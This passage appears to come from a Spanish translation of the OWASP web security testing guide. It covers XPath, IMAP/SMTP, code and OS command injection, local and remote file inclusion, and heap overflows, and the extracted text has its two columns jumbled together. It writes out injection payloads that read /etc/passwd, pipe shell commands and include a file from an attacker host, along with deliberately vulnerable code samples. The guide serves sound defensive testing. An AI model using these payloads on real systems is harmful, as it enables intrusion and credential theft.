aplicación web va a utilizar esos datos para construir una página
generada dinámicamente: Referencias
Libros Blancos
GET / HTTP/1.0
• Apache Tutorial: “Introduction to Server Side Includes”: apache.org
Referer: 

• Apache: “Module mod_include”: apache.org
User-Agent: 

• Apache: “Security Tips for Server Configuration”: apache.org
• Header Based Exploitation: cgisecurity.net
• SSI Injection instead of JavaScript Malware:

jeremiahgrossman.blogspot.com
• IIS: “Notes on Server-Side Includes (SSI) syntax”: blogs.iis.net
Pruebas de inyección de XPath (OTG-INPVAL-010)

216
Resumen
XPath es un lenguaje que ha sido diseñado y desarrollado, sobre todo,
<users>
para dirigirse a las piezas de un documento XML. En la prueba de
inyección XPath, probamos si es posible inyectar la sintaxis de XPath en
<user>
una solicitud interpretada por la aplicación, permitiendo a un atacante
ejecutar consultas XPath controladas por el usuario. Cuando se explota
con éxito, esta vulnerabilidad podría permitir a un atacante eludir
mecanismos de autenticación o información sin la debida autorización. <password>!c3</password>
<account>admin</account>
Las aplicaciones web utilizan constantemente bases de datos para </user>

almacenar y acceder a los datos que necesitan para sus operaciones.
Históricamente, las bases de datos relacionales han sido, en gran medida, <user>
la tecnología más común para el almacenamiento de datos, pero, en los
últimos años, hemos sido testigos de una creciente popularidad de las <username>Stefan0</username>
bases de datos que organizan los datos mediante el lenguaje XML.
<password>w1s3c</password>
<account>guest</account>
Tal como las bases de datos relacionales se acceden a través del lenguaje
SQL, las bases de datos XML utilizan XPath como su lenguaje de consulta </user>
estándar.
<user>
Ya que, desde un punto de vista conceptual, XPath es muy similar a SQL
en sus propósitos y usos, un resultado interesante es que los ataques de <password>Un6R34kb!e</password>
inyección XPath siguen la misma lógica que los ataques de inyección SQL.
En algunos aspectos, XPath es incluso más poderoso que el SQL estándar,
ya que todo su poder está ya presente en sus especificaciones, mientras
que un gran número de técnicas que pueden utilizarse en un ataque de
inyección SQL depende de las características del dialecto SQL usado por Una consulta XPath que devuelve la cuenta cuyo username es "gandalf" y la
la base de datos de destino. contraseña es "! c3" sería la siguiente:
string(//user[username/text()=’gandalf’ and
Esto significa que los ataques de inyección XPath pueden ser mucho más password/text()=’!c3’]/account/text())
adaptables y ubicuos. Otra de las ventajas de un ataque de inyección
XPath es que, a diferencia del SQL, no se aplica ningún ACL ya que nuestra
consulta puede acceder a todas las partes del documento XML.
Si la aplicación no filtra correctamente los datos introducidos por el usuario,

Cómo probar el evaluador será capaz de inyectar código XPath e interferir en el resultado de
la consulta. Por ejemplo, el evaluador podría introducir los siguientes valores:
El patrón de ataque XPath fue publicado por primera vez por Amit Klein [1] y
es muy similar a la habitual inyección de SQL. Para obtener una primera
comprensión del problema, imaginemos una página de inicio de sesión que Username: ‘ or ‘1’ = ‘1
gestiona la autenticación para una aplicación en la que el usuario debe
Password: ‘ or ‘1’ = ‘1
introducir su nombre de usuario y contraseña.
Supongamos que nuestra base de datos está representada por el siguiente

archivo XML:

217
Se ve bastante familiar, ¿no? Utilizando estos parámetros, la consulta se La técnica de inyección IMAP/SMTP es más eficaz si el servidor de correo
convierte en: no es directamente accesible desde el Internet. Donde una comunicación
completa con el servidor de correo de acceso restringido sea posible, se
recomienda realizar pruebas directas.
string(//user[username/text()=’’ or ‘1’ = ‘1’ and password/text()=’’ or
‘1’ = ‘1’]/account/text())
Una inyección IMAP/SMTP permite acceder a un servidor de correo que,

de otra manera, no sería directamente accesible desde Internet. En
algunos casos, estos sistemas internos no tienen el mismo nivel de
seguridad y rigurosidad en la infraestructura que se aplica a los
Como en un ataque de inyección SQL común, hemos creado una consulta servidores web de acceso frontal. Por lo tanto, los resultados de los
que siempre se evalúa como verdadera, lo que significa que la aplicación servidores de correo pueden ser más vulnerables a ataques por parte de
autenticará al usuario incluso si no ha proporcionado un nombre de usuarios finales (vea el esquema presentado a continuación).
usuario o una contraseña.
Y como en un ataque de inyección SQL comun, con la inyección XPath, el

primer paso es insertar una comilla sencilla (') en el campo que vamos a
probar, introducir un error de sintaxis en la consulta y así comprobar si la
aplicación devuelve un mensaje de error.
Si no hay ningún conocimiento acerca de los detalles internos de datos

XML, y si la aplicación no proporciona mensajes de error útiles que nos
ayuden a la reconstrucción de su lógica interna, es posible realizar un
ataque de inyección ciega de XPath, cuyo objetivo es reconstruir toda la
estructura de datos. La técnica es similar a la inyección de SQL basada en
la inferencia, ya que el método consiste en inyectar el código que crea una
consulta que devuelve un bit de información. La inyección ciega de XPath
se explica más detalladamente por Amit Klein en el documento de
referencia.
Referencias
Libros Blancos
• Amit Klein: “Blind XPath Injection”: packetstorm.foofus.com
• XPath 1.0 specifications: w3.org
Pruebas de inyección de IMAP/SMTP (OTG-INPVAL-011)
Resumen
Esta amenaza afecta a todas las aplicaciones que se comunican con La figura 1 muestra el flujo de tráfico visto generalmente al utilizar
servidores de correo (IMAP/SMTP), generalmente aplicaciones de tecnologías de webmail. Los pasos 1 y 2 son el usuario interactuando con el
webmail. El objetivo de esta prueba es verificar la capacidad de inyectar cliente de correo web, mientras que el paso 3 es el evaluador evadiendo al
comandos IMAP/SMTP arbitrarios en los servidores de correo, debido a cliente webmail e interactuando directamente con los servidores de correo de
que el ingreso de datos no está correctamente desinfectado. acceso restringido (back-end).

218
Esta técnica permite una amplia variedad de acciones y ataques. Las

posibilidades dependen del tipo y ámbito de la inyección y la tecnología
del servidor de correo que se está probando.
Algunos ejemplos de ataques con la técnica de inyección IMAP/SMTP son:
• Explotación de vulnerabilidades en el protocolo IMAP/SMTP. • Evasión de

restricciones de la aplicación.
• Evasión del proceso anti-automatización.
• Fugas de información
• Relevo/SPAM
Cómo probar En este ejemplo, el parámetro de "mailbox" se prueba manipulando todas

las solicitudes con el parámetro siguiente:
Los patrones estandar de ataque son:
• Identificación der los parámetros vulnerables. http://<webmail>/src/read_body.php?mailbox=INBOX&passed_id=46

106&startMessage=1
• Entendimiento del flujo de información y estructura de despliegue del
cliente.
• Inyección de comandos IMAP/SMTP.
Los siguientes ejemplos pueden usarse:
Identifique los parámetros vulnerables • Asigne un valor null al parametro:
Para poder detectar los parámetros vulnerables, el evaluador tiene que

analizar la capacidad de la aplicación en el manejo de datos de entrada. http://<webmail>/src/read_body.php?mailbox=&passed_id=46106&st
Las pruebas de validación de ingreso de datos requieren que el evaluador artMessage=1
envíe solicitudes falsas o maliciosas al servidor y analice la respuesta. En
una aplicación segura, la respuesta debe ser un error con alguna acción
correspondiente que le indica al cliente que algo ha salido mal. En una
aplicación vulnerable, la solicitud podría ser procesada por la aplicación • Sustituya el valor con uno aleatorio:
de acceso restringido que responderá con un mensaje de respuesta
"HTTP 200 OK".
http://<webmail>/src/read_body.php?mailbox=NOTEXIST&passed_i
d=46106&startMessage=1
Es importante tener en cuenta que las solicitudes enviadas deben

coincidir con la tecnología que se está probando. Enviar cadenas de
• Añada otros valores al parámetro:
inyección SQL para Microsoft SQL server cuando se utiliza un servidor
MySQL dará como resultado falsos positivos. En este caso, enviar
comandos IMAP maliciosos es el modus operandi ya que IMAP es el http://<webmail>/src/read_body.php?mailbox=INBOX
protocolo subyacente que se está probando. PARAMETER2&passed_id=46106&startMessage=1
Los parámetros especiales de IMAP que se deben utilizar son: • Añada caracteres especiales no éstandar (i.e.: \, ‘, “, @, #, !, |):

219
http://<webmail>/src/read_body.php?mailbox=INBOX”&passed_id=4
http://<webmail>/src/view_header.php?mailbox=INBOX%22&passed
6106&startMessage=1
_id=46105&passed_ent_id=0
• Elimine el parámetro:
http://<webmail>/src/read_body.php?passed_id=46106&startMessage En este caso, la respuesta de la aplicación podría ser:

=1
ERROR: Bad or malformed request.
uery: SELECT “INBOX””
Server responded: Unexpected extra arguments to Select

El resultado final de la prueba anterior da al evaluador tres situaciones
posibles:
S1 - La aplicación devuelve un código/mensaje de error. La situación S2 es más difícil de probar con éxito. El probador debe usar
inyección ciega de comandos para determinar si el servidor es vulnerable.
S2 - La aplicación no devuelve un código/mensaje de error, pero no
realiza la operación solicitada.
S3 - La aplicación no devuelve un código/mensaje de error, y realiza la Por otro lado, la última situación (S3) no es relevante en esta sección.
operación solicitada normalmente.
Resultado esperado:
Las situaciones S1 y S2 representan una inyección IMAP/SMTP exitosa.
• Lista de parámetros vulnerables.

El objetivo de un atacante es recibir la respuesta de S1, ya que es un
indicador de que la aplicación es vulnerable a la inyección y posterior • Funcionalidad afectada.
manipulación.
• Tipo de inyección posible (IMAP/SMTP).
Supongamos que un usuario recupera los encabezados de correo

electrónico al usar la siguiente solicitud HTTP: Entienda la estructura de flujo y despliegue de datos del cliente
Después de identificar todos los parámetros vulnerables (por ejemplo,

http://<webmail>/src/view_header.php?mailbox=INBOX&passed_id= "passed_id"), el evaluador necesita determinar qué nivel de inyección es
46105&passed_ent_id=0 posible y luego diseñar un plan de prueba para explotar aún más la
aplicación.
En este caso de prueba, hemos detectado que el parámetro de la

Un atacante podría modificar el valor del parámetro INBOX al inyectar el aplicación "passed_id" es vulnerable y se utiliza en la siguiente petición:
carácter “ (%22 usando codificación URL):
http://<webmail>/src/read_body.php?mailbox=INBOX&passed_id=46
225&startMessage=1

220
Inyección de comandos IMAP/SMTP
Al utilizar el siguiente caso de prueba (cuando proporciona un valor alfabético Una vez que el evaluador ha identificado los parámetros vulnerables y ha
y se requiere un valor numérico): analizado el contexto en el que se ejecutan, la siguiente etapa es explotar
la funcionalidad.
http://<webmail>/src/read_body.php?mailbox=INBOX&passed_id=te
st&startMessage=1
Esta etapa tiene dos posibles resultados:
[1] La inyección es posible en un estado no autenticado: la funcionalidad

afectada no requiere autenticar al usuario. Los comandos (IMAP)
inyectados disponibles están limitados a: CAPABILITY, NOOP,
generará el siguiente mensaje de error:
AUTHENTICATE, LOGIN y LOGOUT.
ERROR : Bad or malformed request. [2] La inyección sólo es posible en un estado autenticado: la explotación
exitosa requiere que el usuario esté plenamente autenticado antes de que
Query: FETCH test:test BODY[HEADER] la prueba pueda continuar.
En cualquier caso, la estructura típica de una inyección IMAP/SMTP es la

siguiente:
En este ejemplo, el mensaje de error devolvió el nombre del comando
ejecutado y los parámetros correspondientes.
• Encabezado: finalización del comando esperado;
En otras situaciones, el mensaje de error ( "not controlled", no controlado • Cuerpo: inyección del nuevo comando;
por la aplicación) contiene el nombre del comando ejecutado, pero leer el
RFC adecuado (vea la sección de "Referencia") le permitirá al evaluador • Pie: inicio del comando esperado.
entender qué otros comandos pueden ser ejecutados.
Es importante recordar que, para ejecutar un comando IMAP/SMTP, el

Si la aplicación no devuelve mensajes de error descriptivos, el probador comando anterior debe terminar con la secuencia CRLF (0%d%0a).
debe analizar la funcionalidad afectada para deducir todos los posibles
comandos (y parámetros) asociados con las funciones mencionadas.
Supongamos que en la etapa 1 ("Identificando parámetros vulnerables"),

el atacante detecta que el parámetro "message_id" en la siguiente petición
Por ejemplo, si un parámetro vulnerable ha sido detectado en la es vulnerable:
funcionalidad de crear un buzón de correo, es lógico asumir que el
comando IMAP afectado es "CREATE". Según el RFC, el comando CREATE
acepta un parámetro que especifica el nombre del buzón a crear. http://<webmail>/read_email.php?message_id=4791
Resultado esperado:
Supongamos también que el resultado del análisis realizado en la etapa 2

("Entendiendo la estructura de flujo y despliegue de datos del cliente") ha
• Listado de los comandos afectados de IMAP/SMTP. identificado el comando y los argumentos asociados con este parámetro
como:
• Tipo, valor y número de los parámetros esperados por los comandos
IMAP/SMTP afectados.

221
http://www.webappsec.org/projects/articles/121106.pdf
FETCH 4791 BODY[HEADER]
Pruebas de inyección de código (OTG-INPVAL-012)
Resumen
En este escenario, la estructura de inyección IMAP sería:
Esta sección describe cómo un evaluador puede comprobar si es posible
introducir código en una página web y ejecutarlo con el servidor web.
http://<webmail>/read_email.php?message_id=4791
BODY[HEADER]%0d%0aV100 CAPABILITY%0d%0aV101
FETCH 4791
En la prueba de inyección de código, un evaluador envía información que
es procesada por el servidor web como código dinámico o como un
archivo incluido. Estas pruebas pueden dirigirse a varios motores de
secuencias de scripting del servidor, como ASP o PHP. Una correcta
validación de la entrada y prácticas de codificación seguras deben
Lo que generaría los siguientes comandos: emplearse para protegerse de estos ataques.
???? FETCH 4791 BODY[HEADER]

Cómo probar
V100 CAPABILITY
V101 FETCH 4791 BODY[HEADER]
Pruebe las vulnerabilidades de inyección PHP
Utilizando la cadena de consulta, el evaluador puede inyectar códigos (en

este ejemplo, una URL maliciosa) para ser procesados como parte del
Donde: archivo incluido:
Header = 4791 BODY[HEADER]

Resultado esperado:
Body = %0d%0aV100 CAPABILITY%0d%0a
Footer = V101 FETCH 4791

http://www.example.com/uptime.php?pin=http://www.example2.com/
packx1/cs.jpg?&cmd=uname%20-a
Resultado esperado:
• Inyección arbitraria de comandos IMAP/SMTP

La URL es aceptada como un parámetro de la página PHP, que más tarde
utilizará el valor en un archivo incluido.
Referencias
Libros Blancos Pruebas de Caja Gris
• RFC 0821 “http://www.ietf.org/rfc/rfc0821.txt”. Pruebe las vulnerabilidades de inyección ASP
• RFC 3501 “http://www.ietf.org/rfc/rfc3501.txt”. Examine el código ASP en busca de información ingresada por el usuario
en funciones de ejecución. ¿ El usuario puede ingresar los comandos en el
• Vicente Aguilera Díaz: “MX Injection: Capturing and Exploiting Hidden Mail campo de entrada de datos? Aquí, el código ASP almacena la información
Servers” - en un archivo y luego lo ejecuta:

222
• Reviewing Code for OS Injection
<%
Pruebas para determinar la inclusión de documentos locales
If not isEmpty(Request( “Data” ) ) Then
Resumen
Dim fso, f
La vulnerabilidad de inclusión de documentos permite al atacante incluir un
‘User input Data is written to a file named data.txt documento, normalmente explotando un mecanismo de “inclusión de
documento dinámica” implementado en la aplicación objetivo. La
Set fso = CreateObject(“Scripting.FileSystemObject”)
vulnerabilidad ocurre debido al uso de datos ingresados por el usuario sin una
apropiada validación.
Set f = fso.OpenTextFile(Server.MapPath( “data.txt” ), 8, True)
f.Write Request(“Data”) & vbCrLf

Esto puede conducir a algo como mostrar el contenido del archivo, pero
f.close
dependiendo de la gravedad, también puede llevar a:
Set f = nothing
Set fso = Nothing

• Ejecución de código en el servidor web.
• Ejecución de código en el lado del cliente como JavaScript que puede

conducir a otros ataques tales como cross site scripting (XSS).
‘Data.txt is executed
• Negación de servicio (DoS).
• Despliegue de información sensible.
Else
%> La inclusión de archivos locales (también conocida como LFI) es el

proceso de incluir archivos, que ya están presentes localmente en el
<form> servidor, a través de la explotación de las vulnerabilidades en los
procedimientos de inserción implementados en la aplicación. Esta
<input name=”Data” /><input type=”submit” name=”Enter Data” /> vulnerabilidad se produce, por ejemplo, cuando una página recibe, como
datos, la ruta del archivo que debe estar incluida y este dato no ha sido
</form> correctamente desinfectado, permitiendo que caracteres de salto de
directorio (como dot-dot-slash) sean inyectados. Aunque la mayoría de
<% ejemplos apuntan a scripts PHP vulnerables, debemos tener en cuenta
que también es común en tecnologías como JSP, ASP y otras.
End If
%>)))
Cómo probar
Cómo la LFI ocurre cuando los caminos para "incluir" declaraciones no se

desinfectan correctamente, en un enfoque de pruebas de Caja Negra,
debemos buscar scripts que tomen los nombres de archivos como
Referencias parámetros.
• Security Focus - http://www.securityfocus.com
• Insecure.org - http://www.insecure.org
Considere el siguiente ejemplo:
• Wikipedia - http://www.wikipedia.org

223
http://vulnerable_host/preview.php?file=example.html http://vulnerable_host/preview.php?file=../../../../etc/passwd%00
Este caso parece el lugar perfecto para buscar LFI. Si un atacante tiene Referencias
suficiente suerte, y en vez de seleccionar la página apropiada de la matriz
por su nombre, la secuencia de comandos incluye directamente el • Wikipedia - http://www.wikipedia.org/wiki/Local_File_Inclusion
parámetro de entrada, es posible incluir archivos arbitrarios en el
servidor. • Hakipedia - http://hakipedia.com/index.php/Local_File_Inclusion
La típica prueba del concepto sería cargar el archivo passwd: Remediación
La solución más eficaz para eliminar las vulnerabilidades de inclusión de

http://vulnerable_host/preview.php?file=../../../../etc/passwd archivo es evitar pasar datos ingresados por el usuario a cualquier
filesystem/framework API. Si esto no es posible, la aplicación puede
mantener una lista blanca de archivos que pueden ser incluidos por la
página y luego utilizar un identificador (por ejemplo, el número de índice)
para tener acceso al archivo seleccionado.
Si se cumplen las condiciones mencionadas, un atacante vería algo como lo

siguiente:
Cualquier solicitud que contenga un identificador inválido será
rechazada; de esta manera, no hay ninguna superficie de ataque para que
root:x:0:0:root:/root:/bin/bash
usuarios malintencionados puedan manipular la ruta.
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
Pruebas para la inclusión remota de archivos
alex:x:500:500:alex:/home/alex:/bin/bash
Resumen
margo:x:501:501::/home/margo:/bin/bash
La vulnerabilidad de inclusión de archivos permite que un atacante
incluya un archivo, generalmente, aprovechando un mecanismo de
...
"inclusión dinámica de archivos" implementado en la aplicación de
Muy a menudo, incluso cuando existe dicha vulnerabilidad, su explotación es un destino. La vulnerabilidad se produce debido al uso de datos
poco más compleja. Considere el siguiente fragmento del código: suministrados por el usuario sin una validación adecuada.
<?php “include/”.include($_GET[‘filename’].“.php”); ?>

Esto puede llevar a que se muestre el contenido del archivo, pero
dependiendo de la gravedad, también puede llevar a:
En el caso de la sustitución simple con nombres de archivo arbitrarios no • Ejecución de código en el servidor web.
funcionaría, ya que se añade el sufijo 'php'. Para evitarlo, se utiliza una técnica con
terminadores null bytes. Cómo %00 representa efectivamente el final de la cadena, • Ejecución de código en el lado del cliente como JavaScript que nos llevaría a
se ignorará cualquier carácter después de este byte especial. La siguiente solicitud otros ataques tales como cross site scripting (XSS).
también devolverá una lista de atacante de los atributos básicos de los usuarios:
• Negación de servicio (DoS).
• Publicación de información sensitiva.

224
Remediación
La inclusión remota de archivos (también conocida como RFI) es el La solución más eficaz para eliminar las vulnerabilidades de inclusión de
proceso de incluir archivos remotos a través de la explotación de las archivo es evitar pasar datos enviados por el usuario a cualquier
vulnerabilidades en los procedimientos de inserción implementados en la filesystem/framework API. Si esto no es posible, la aplicación puede
aplicación. Esta vulnerabilidad se produce, por ejemplo, cuando una mantener una lista blanca de archivos que pueden ser incluidos por la
página recibecomo datos, la ruta del archivo que debe estar incluida y página y luego utilizar un identificador (por ejemplo, el número de índice)
este dato no ha sido correctamente desinfectado, permitiendo que una para tener acceso al archivo seleccionado. Cualquier solicitud que
URL externa se inyecte. Aunque la mayoría de ejemplos apuntan a scripts contenga un identificador inválido será rechazada, de esta manera no hay
PHP vulnerables, debemos tener en cuenta que también es común en ninguna superficie de ataque para que usuarios malintencionados puedan
tecnologías como JSP, ASP y otras. manipular la ruta.
Cómo probar Pruebas de inyección de comandos (OTG-INPVAL-013)
Puesto que la RFI ocurre cuando las rutas para "incluir" declaraciones no están Resumen
correctamente desinfectadas, en un enfoque de pruebas de Caja Negra debemos
buscar scripts que tomen los nombres de archivos como parámetros. Considere el Este artículo describe cómo probar una aplicación en busca de inyección de
siguiente ejemplo PHP: comandos del sistema operativo. El evaluador intentará inyectar un comando de
sistema operativo a través de una solicitud HTTP a la aplicación.
$incfile = $_RE UEST[“file”];
include($incfile.”.php”); La Inyección de comandos del sistema operativo es una técnica utilizada a través de
una interfaz web para ejecutar comandos del sistema operativo en un servidor web.
El usuario provee comandos del sistema operativo a través de una interfaz web para
ejecutar comandos del sistema operativo. Cualquier interfaz que no esté
correctamente desinfectada está sujeta a esta debilidad. Con la habilidad de ejecutar
En este ejemplo la ruta de acceso se extrae de la solicitud HTTP y no se comandos en el sistema operativo, el usuario puede subir programas maliciosos o
realiza una validación de datos ingresados (por ejemplo, comprobando el incluso obtener contraseñas. La inyección de comandos del sistema operativo es
ingreso contra una lista blanca), así que este fragmento de código resulta prevenible cuando la seguridad se acentúa durante el diseño y desarrollo de las
vulnerable a este tipo de ataque. Considere de hecho la siguiente URL: aplicaciones.
Cómo probar
http://vulnerable_host/vuln_page.php?file=http://attacker_site/malicou
s_page Al observar un archivo en una aplicación web, el nombre del archivo a menudo se
muestra en la URL. Perl permite canalizar datos de un proceso hacia una
instrucción abierta. El usuario simplemente puede añadir el símbolo Pipe "|" en el
final del nombre del archivo.
En este caso el archivo remoto va a ser incluido y cualquier código que contenga se
ejecutara en el servidor. Ejemplo de las URL antes de ser alteradas:
http://sensitive/cgi-bin/userData.pl?doc=user1.txt
Referencias
Libros Blancos
• “Remote File Inclusion”: projects.webappsec.org Ejemplo de la URL modificada:
• Wikipedia: “Remote File Inclusion”: en.wikipedia.org

http://sensitive/cgi-bin/userData.pl?doc=/bin/ls|

225
POST http://www.example.com/public/doc HTTP/1.1

Esto ejecutará el comando “/bin/ls”.
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1)

Gecko/20061010 FireFox/2.0
Añadiendo un punto y coma al final de una URL para una. página PHP seguida de
un comando del sistema operativo, ejecutará el comando. % 3B que está Accept:
codificado para url y se decodifica como punto y coma. text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;
Ejemplo:
http://sensitive/something.php?dir=%3Bcat%20/etc/passwd
Keep-Alive: 300
Ejemplo Proxy-Connection: keep-alive
Consideremos el caso de una aplicación que contiene un conjunto de documentos Referer: http://127.0.0.1/WebGoat/attack?Screen=20
que pueden navegarse en Internet. Si usted enciende WebScarab, puede obtener un
HTTP POST como el siguiente: Cookie: JSESSIONID=295500AD2AAEEBEDC9DB86E34F24A0A5
Authorization: Basic T2Vbc1Q9Z3V2Tc3e=

POST http://www.example.com/public/doc HTTP/1.1
Content-length: 33
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1)
Gecko/20061010 FireFox/2.0
Accept:
text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8
,image/png,*/*;q=0.5 Si la aplicación no validase la solicitud, podemos obtener el siguiente resultado:
Keep-Alive: 300
Proxy-Connection: keep-alive
Referer: http://127.0.0.1/WebGoat/attack?Screen=20
Cookie: JSESSIONID=295500AD2AAEEBEDC9DB86E34F24A0A5
Authorization: Basic T2Vbc1Q9Z3V2Tc3e=
Content-length: 33
En la solicitud post, vemos cómo la aplicación recupera la documentación

pública. Ahora podemos probar si es posible agregar un comando del
sistema operativo para inyectar en el HTTP POST. Haga lo siguiente:

226
Exec Results for ‘cmd.exe /c type “C:\httpd\public\doc\”Doc=Doc1.pdf+|+Dir

c:\’
Referencias
Output...
Libros Blancos
Il volume nell’unità C non ha etichetta.
• securityfocus.com
Numero di serie Del volume: 8E3F-4B61
Directory of c:\
Remediación
18/10/2006 00:27 2,675 Dir_Prog.txt
Desinfección
18/10/2006 00:28 3,887 Dir_ProgFile.txt
Los formularios de datos y la URL deben desinfectarse de caracteres no
16/11/2006 10:43
válidos. Una "lista negra" de caracteres es una opción, pero puede ser
Doc difícil pensar en todos los caracteres contra los que hay que validar.
También pueden haber algunos que no han sido descubiertos todavía.
11/11/2006 17:25 Para validar la entrada del usuario se debe crear una "lista blanca" que
contenga sólo caracteres permitidos. Caracteres que faltaron, así como las
Documents and Settings amenazas desconocidas, deben ser eliminados de esta lista.
25/10/2006 03:11
I386
Permisos
14/11/2006 18:51
La aplicación web y sus componentes deben ejecutarse bajo permisos
h4ck3r estrictos que no permitan la ejecución de comandos del sistema
operativo. Trate de verificar todas estas informaciones para probar desde
30/09/2005 21:40 25,934 un punto de vista de Caja Gris.
OWASP1.JPG
03/11/2006 18:29 Pruebe la saturación de búfer (OTG-INPVAL-014)
Prog
Resumen
18/11/2006 11:20
Para conocer más acerca de las vulnerabilidades de saturación de búfer,
Program Files consulte las páginas de saturación de búfer.
16/11/2006 21:12
Software Vea el artículo OWASP sobre ataques de saturación de búfer.
24/10/2006 18:25
Setup Vea el artículo OWASP sobre vulnerabilidades de saturación de búfer.
Cómo probar
En este caso, hemos realizado con éxito un ataque de inyección de OS.
Diferentes tipos de vulnerabilidades de saturación de búfer tienen
diferentes métodos de prueba. Aquí están los métodos de prueba para los
tipos comunes de vulnerabilidades de saturación de búfer.
Herramientas
• OWASP ZAP

227
• Pruebas de vulnerabilidad de saturación del heap. con la saturación de pilas de datos, ya que hay ciertas condiciones que
deben existir en el código de estas vulnerabilidades para que sean
• Pruebas de vulnerabilidad de saturación de pilas de datos. explotables.
• Pruebas de vulnerabilidad de cadena de formato.
Cómo probar
Revisión de código Pruebas de Caja Negra
Vea el artículo de la Guía de revisión de código OWASP sobre cómo Los principios de las pruebas de Caja Negra para saturación de heap son
revisar el código en busca de vulnerabilidades por saturación de heap o los mismos que se utilizan para la saturación de pilas de datos. La clave
búfer. está en introducir cadenas de entrada que sean más largas de lo esperado.
Aunque el proceso de prueba sigue siendo el mismo, los resultados que
son visibles en el depurador son significativamente diferentes. Mientras
que, en el caso de una saturación de pila de datos, una instrucción de
puntero o sobreescritura SEH sería evidente; esto no sucede en una
condición de saturación de heap.
Remediación
Vea el artículo de la Guía de desarrollo OWASP sobre cómo evitar

vulnerabilidades de saturación de búfer. Al depurar un programa para Windows, una saturación de heap puede
aparecer en varias formas diferentes; la más común es un cambio de
puntero que tiene lugar después de que entra en acción la rutina de
gestión del heap. A continuación se muestra un escenario que ilustra una
Pruebas de saturación de Heap
vulnerabilidad de saturación de heap.
Resumen
En esta prueba, el evaluador de penetración comprueba si se puede

provocar una saturación del heap que explota un segmento de memoria.
Heap es un segmento de memoria que se utiliza para almacenar datos

dinámicamente asignados y variables globales. Cada fragmento de la
memoria en el heap consiste en etiquetas de límite que contienen
información de gestión de memoria.
Cuando un búfer basado en heap se satura, se sobrescribe la información

de control en estas etiquetas. Cuando la rutina de gestión del heap libera
el búfer, una sobrescritura de la dirección de la memoria da lugar a una
infracción de acceso. Cuando la saturación se ejecuta de manera
controlada, la vulnerabilidad permitirá a un adversario sobrescribir en
una ubicación de memoria deseada con un valor controlado por el
usuario. En la práctica, un atacante podrá sobrescribir funciones de
Los dos registros que se muestran, EAX y ECX, se pueden rellenar con
dirección y varias direcciones almacenadas en estructuras como GOT,
direcciones del usuario que forman parte de los datos que se utilizan para
.dtors o TEB con la dirección de una carga maliciosa útil.
saturar el búfer heap. Una de las direcciones puede apuntar a un puntero
de función que debe ser sobreescrito, por ejemplo UEF (Unhandled
Exception filter) (filtro de excepción no controlada), y el otro puede ser la
dirección del código del usuario que necesita ejecutarse.
Hay numerosas variantes de la vulnerabilidad de saturación de heap
(corrupción del heap) que puede permitir cualquier cosa, desde
sobrescribir punteros de función a la explotación de las estructuras de
gestión de memoria para la ejecución de código arbitrario. Localizar la
saturación de heap requiere una revisión más detallada en comparación
228
Cuando se ejecutan las instrucciones de MOV que se muestran en el panel

int main(int argc, char *argv[])
izquierdo, la sobrescritura ocurre y, cuando se contacta con la función, se
ejecuta el código de usuario. Como se mencionó anteriormente, otros
{
métodos para probar dichas vulnerabilidades incluyen la ingeniería
inversa de las aplicaciones binarias, que es un proceso complejo y ……
tedioso, donde se utilizan técnicas de difuminación (fuzzing).
vulnerable(argv[1]);
return 0;
Al revisar el código, uno debe darse cuenta que hay varias vías por donde
}
las vulnerabilidades asociadas con los heaps pueden surgir. Un código
aparentemente inofensivo a primera vista puede ser vulnerable bajo
ciertas condiciones. Puesto que hay distintas variaciones de esta
vulnerabilidad, cubriremos sólo los temas que son predominantes.
int vulnerable(char *buf)
La mayoría de las veces, los bufers heap son considerados seguros por {
muchos desarrolladores que no dudan en realizar operaciones inseguras
como strcpy () en ellos. El mito de que una saturación de pila de datos y la
instrucción de sobrescribir el puntero son los únicos medios para
HANDLE hp = HeapCreate(0, 0, 0);
ejecutar un código arbitrario resulta peligroso en caso del código que se
muestra a continuación:
HLOCAL chunk = HeapAlloc(hp, 0, 260);
strcpy(chunk, buf); ‘’’ Vulnerability’’’
En este caso, si buf excede los 260 bytes, se sobreescriben los punteros a
la etiqueta de límite adyacente, facilitando la sobrescritura de una
ubicación de memoria arbitraria con cuatro bytes de datos una vez que
comienza la rutina heap de almacenamiento dinámico.
Recientemente, varios productos, especialmente las bibliotecas de

antivirus, han sido afectados por variantes que son combinaciones de una
saturación de números enteros y copia de operaciones en un búfer de
heap. Como ejemplo, considere un fragmento de código vulnerable, una
parte del código responsable de procesar los tipos de archivo TNEF, de
Clam Anti Virus 0.86.1,
source file tnef.c and function tnef_message( ):

229
• David Litchfield: “Windows Heap Overflows”:

string = cli_malloc(length + 1); ‘’’ Vulnerability’’’
www.blackhat.com
if(fread(string, 1, length, fp) != length) {‘’’ Vulnerability’’’
free(string);
Probar la saturación de pila de datos
return -1;
Resumen
}
La saturación de pila de datos se produce cuando se copian datos de
El malloc en la línea 1 asigna memoria basada en el valor de la longitud, el
tamaño variable en búferes de longitud ubicados en la pila de datos del
cual coincide con un entero de 32 bits. En este ejemplo particular, la
programa sin ninguna comprobación de los límites.
longitud es controlable por el usuario y se puede fabricar un archivo
TNEF malicioso para ajustar la longitud a '-1', que daría como resultado
malloc (0). Por lo tanto, este malloc asignaría un búfer heap pequeño, que
sería de 16 bytes en la mayoría de las plataformas de 32 bits (como se Las vulnerabilidades de esta clase se consideran generalmente de alta
indica en malloc.h). severidad, ya que su explotación permitiría, sobre todo, la ejecución de
código arbitrario o negación de servicio. Aunque rara vez se encuentra en
plataformas interpretadas, el código escrito en C y lenguajes similares es,
a menudo, montado con instancias de esta vulnerabilidad. De hecho, casi
Y ahora, en la línea 2, una saturación de heap se produce en la llamada a
todas las plataformas son vulnerables a saturación de pila de datos con
fread (). El tercer argumento, en este caso la longitud, se espera que sea
las siguientes excepciones notables:
una variable de size_t. Pero si va a ser '-1', el argumento envuelve a
0xFFFFFFFF, copiando así 0xFFFFFFFF bytes en el búfer de 16 bytes.
• J2EE – siempre y cuando no se invoquen métodos nativos o comunicación

con el sistema
Las herramientas de análisis de código estático también pueden ayudar
en la localización de vulnerabilidades de heap tales como “double free” • .NET – siempre que el código inseguro o no administrado no sea invocado
etc. Una variedad de herramientas como las RATS, Flawfinder y ITS4 (tal como el usado en P/Invoke or COM Interop)
